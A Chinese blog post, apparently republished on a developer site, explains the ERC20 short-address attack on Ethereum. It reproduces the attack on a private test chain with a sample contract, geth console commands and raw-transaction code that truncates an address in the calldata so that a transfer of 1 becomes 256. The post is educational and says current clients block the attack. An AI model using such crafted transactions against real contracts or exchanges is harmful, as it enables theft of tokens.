智能合约安全:短地址攻击

栏目: 编程工具 · 发布时间: 5年前

内容简介:昨天一位博友提到短地址攻击的问题,感觉挺有意思的,就花了点时间研究了一下。大家都知道,如果我们想调用智能合约的函数,需要在交易的payload字段中填充一段字节码。以ERC20的transfer()的函数为例,函数原型为:

昨天一位博友提到短地址攻击的问题,感觉挺有意思的,就花了点时间研究了一下。

1.什么是短地址攻击

大家都知道,如果我们想调用智能合约的函数,需要在交易的payload字段中填充一段字节码。以ERC20的transfer()的函数为例,函数原型为:

function transfer(address to, uint amount) public returns (bool success);

我们需要通过一段68个字节的字节码来调用该函数进行转账,比如:

a9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca000000000000000000000000000000000000000000000000000000000000000001

具体可以分解为3个部分:

  • 4字节函数签名:a9059cbb
  • to参数:000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca00
  • amount参数:0000000000000000000000000000000000000000000000000000000000000001

大家可能注意到,这个转账地址有点特殊:最后两个数字为0。

假如有个用户“不小心”忘记输入最后这两个0了怎么办?这样我们的输入就只有67个字节了。EVM是通过CALLDATALOAD指令从输入数据中获取函数参数的,因此它会先从后面的amount参数里 “借”两个0 来补足前面的地址参数。当它要加载amount参数的时候,发现位数不够,会 在右边补0 ,参见以太坊源码:

智能合约安全:短地址攻击

所以,经过这么一折腾,实际上EVM看到是下面这些参数:

  • 4字节函数签名:a9059cbb
  • to参数:000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca 00 (借0)
  • amount参数:0000000000000000000000000000000000000000000000000000000000000 100 (补0)

看到问题了没?转账地址没变,但是转账金额增大了256倍!如果你的转账地址后面有足够多的0,那么转账金额将会大得惊人~

但是有人会说,这没啥毛用啊,难道智能合约的作者会傻到不检查你地址的余额,就直接让你提币走人吗?我猜想这跟目前中心化交易所的运营机制相关。考虑下面的场景:用户充币到交易所钱包,交易所又把这些币转移到了它们内部的合约账户中。等用户发起提币申请,并通过人工审核后,再从合约中把币打到用户的账户中。

智能合约安全:短地址攻击

在这种情况下,交易的msg.sender就是交易所本身,因此可以通过余额检查。当然,这里有个前提: 你必须能够通过人工审核! 也就是审核员失职。实际上,从没有人成功利用过这个漏洞,最先发现这个问题的GNT项目组,也仅仅是观察到一笔异常交易而已,并没有产生任何实质性损失。网络上流传的攻击方法是:先找到一个里面有足够数量代币的交易所账户,充1000个币进去,然后再申请提1000个币,就可以提出来256000个币。但是,在我看来这似乎并不可行,如果有读友能想出可行的场景,欢迎给我留言~

2.现在还能重现吗?

能。

当然,不能通过常规的方式。不能通过remix,因为客户端会检查地址长度。也不能通过sendTransaction(),因为web3中也加了保护。但是,我们可以使用sendRawTransaction()。

2.1先写一个简单合约

pragma solidity ^0.4.25;

contract ABC {
    mapping (address => uint) balances;

    event Transfer(address indexed _from, address indexed _to, uint256 _value);

    constructor() public {
        balances[msg.sender] = 10000;
    }

    function transfer(address to, uint amount) public returns(bool success) {
        if (balances[msg.sender] < amount) return false;
        balances[msg.sender] -= amount;
        balances[to] += amount;
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function getBalance(address addr) public view returns(uint) {
        return balances[addr];
    }
}

2.2解锁账户

进入geth控制台,解锁第一个账户,用来部署合约:

personal.unlockAccount(eth.accounts[0])

2.3部署合约

在remix的Compile面板中,点击“Details”查看编译结果,把下面这段拷贝到控制台上部署合约:

var abcContract = web3.eth.contract([{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"name":"sufficient","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"addr","type":"address"}],"name":"getBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"}]);

var abc = abcContract.new(
   {
     from: web3.eth.accounts[0], 
     data: '0x608060405234801561001057600080fd5b506127106000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506102da806100656000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063a9059cbb14610051578063f8b2cb4f146100b6575b600080fd5b34801561005d57600080fd5b5061009c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061010d565b604051808215151515815260200191505060405180910390f35b3480156100c257600080fd5b506100f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610266565b6040518082815260200191505060405180910390f35b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561015e5760009050610260565b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509190505600a165627a7a72305820b995f589cfcbb99e7bf5f31b8c40c052004886078f8e985c624c7348ef4c1bde0029', 
     gas: '4700000'
   }, function (e, contract){
    console.log(e, contract);
    if (typeof contract.address !== 'undefined') {
         console.log('Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash);
    }
 })

2.4启动挖矿

合约创建交易必须被打包执行后才能生成合约地址,在控制台启动挖矿流程:

miner.start()
admin.sleepBlocks(1)
miner.stop()

控制台会打印出生成的合约地址:

Contract mined! address: 0xdc1b549ed7668e13a8bd72f35b8143adb69b91ed transactionHash: 0xe167a7c105d486f5e772baafb35cef1c196d188378c86d854549fc58d60ba0ca

2.5生成ABI调用字节码

也就是交易的payload部分,可以通过getData()接口获得编码结果:

var abc = abcContract.at('0xdc1b549ed7668e13a8bd72f35b8143adb69b91ed')
var abi = abc.transfer.getData('0x146aed09cd9dea7a64de689c5d3ef73d2ee5ca00', 1)

产生的字节码序列如下:

0xa9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca000000000000000000000000000000000000000000000000000000000000000001

2.6生成raw transaction

在上面的字节码中去掉两个0,然后生成raw transaction:

const Web3 = require('web3')
const Tx = require('ethereumjs-tx')
const privateKey = Buffer.from('9a24cc556fe35c17f4be00e970bb7f7ad5c24b9853d8965d2a810e8c412b2a88', 'hex')

const txParams = {
  nonce: '0x01', //可以通过eth.getTransactionCount(eth.accounts[0])得到
  gasPrice: '5',
  gasLimit: '5000',
  to: '0xdc1b549ed7668e13a8bd72f35b8143adb69b91ed',
  value: '0x00',
  data: '0xa9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca0000000000000000000000000000000000000000000000000000000000000001' //去掉了两个0
  // EIP 155 chainId - mainnet: 1, ropsten: 3
  chainId: 111 //我搭建的私网ID是111,根据你自己的配置调整
}

var tx = new Tx(txParams)
tx.sign(privateKey)
var serializedTx = tx.serialize()
console.log('0x' + serializedTx.toString('hex'))

得到签好名的交易:

0xf8a901823130843530303094dc1b549ed7668e13a8bd72f35b8143adb69b91ed80b843a9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca0000000000000000000000000000000000000000000000000000000000000001820101a0aa3594aada7f032aed9760484eb770e47ac958af9a054fd83bc5f63e76974d42a047d608dbdb9109ef392697c6365aa827a934953d90608e038f02859c23d80456

2.7发送raw transaction

最后一步,通过sendRawTransaction()发送交易:

eth.sendRawTransaction('0xf8a901823130843530303094dc1b549ed7668e13a8bd72f35b8143adb69b91ed80b843a9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca0000000000000000000000000000000000000000000000000000000000000001820101a0aa3594aada7f032aed9760484eb770e47ac958af9a054fd83bc5f63e76974d42a047d608dbdb9109ef392697c6365aa827a934953d90608e038f02859c23d80456')

生成的交易hash值:

“0xac0173835fc1a2e4b00bd9ef82825289ec27ef36b6120f1ee4c84394c468185a”

启动挖矿打包执行交易,然后查看目标账户的余额:

abc.getBalance.call('0x146aed09cd9dea7a64de689c5d3ef73d2ee5ca00')

输出结果:

Bingo!我们本来只转了1个币到这个账户,但实际上转过来256个! 成功复现了短地址攻击问题。

我们可以通过eth.getTransactionReceipt()可以查看event:

智能合约安全:短地址攻击

可以看到,转账金额确实变成了0x100。

3.还能薅羊毛吗?

不能。

这个漏洞在2017年爆出后,各大交易所基本都在客户端增加了地址长度检查。

另外,即使它们不做地址长度检查,web3中也增加了保护,如果地址长度不够,会在前面补0:

智能合约安全:短地址攻击

我们可以测试一下:

智能合约安全:短地址攻击

短地址攻击是利用EVM在参数长度不够时自动在右方补0的特性,通过去除钱包地址末位的0,达到将转账金额左移放大的效果。目前主要依靠客户端主动检查地址长度来避免该问题,另外web3层面也增加了参数格式校验。虽然EVM层仍然可以复现,但是在实际应用场景中基本没有问题。

参考:

https://blog.golemproject.net/how-to-find-10m-by-just-reading-blockchain-6ae9d39fcd95

https://github.com/ethereum/EIPs/blob/master/EIPS/eip-55.md

https://vessenes.com/the-erc20-short-address-attack-explained/

更多文章欢迎关注“鑫鑫点灯”专栏: https://blog.csdn.net/turkeycock

或关注飞久微信公众号: 智能合约安全:短地址攻击

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

构建之法

构建之法

邹欣 / 人民邮电出版社 / 2014-9 / 49.00元

内容简介: 软件工程牵涉的范围很广, 同时也是一般院校的同学反映比较空洞乏味的课程。 但是软件工程的技术对于投身IT 产业的学生来说是非常重要的。作者邹欣有长达20年的一线软件开发经验,他利用业余时间在数所高校进行了长达6年的软件工程教学实践,总结出了在16周的时间内让 同学们通过 “做中学 (Learning By Doing)” 掌握实用的软件工程技术的教学计划,并得到高校师生的积极反馈......一起来看看 《构建之法》 这本书的介绍吧!

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具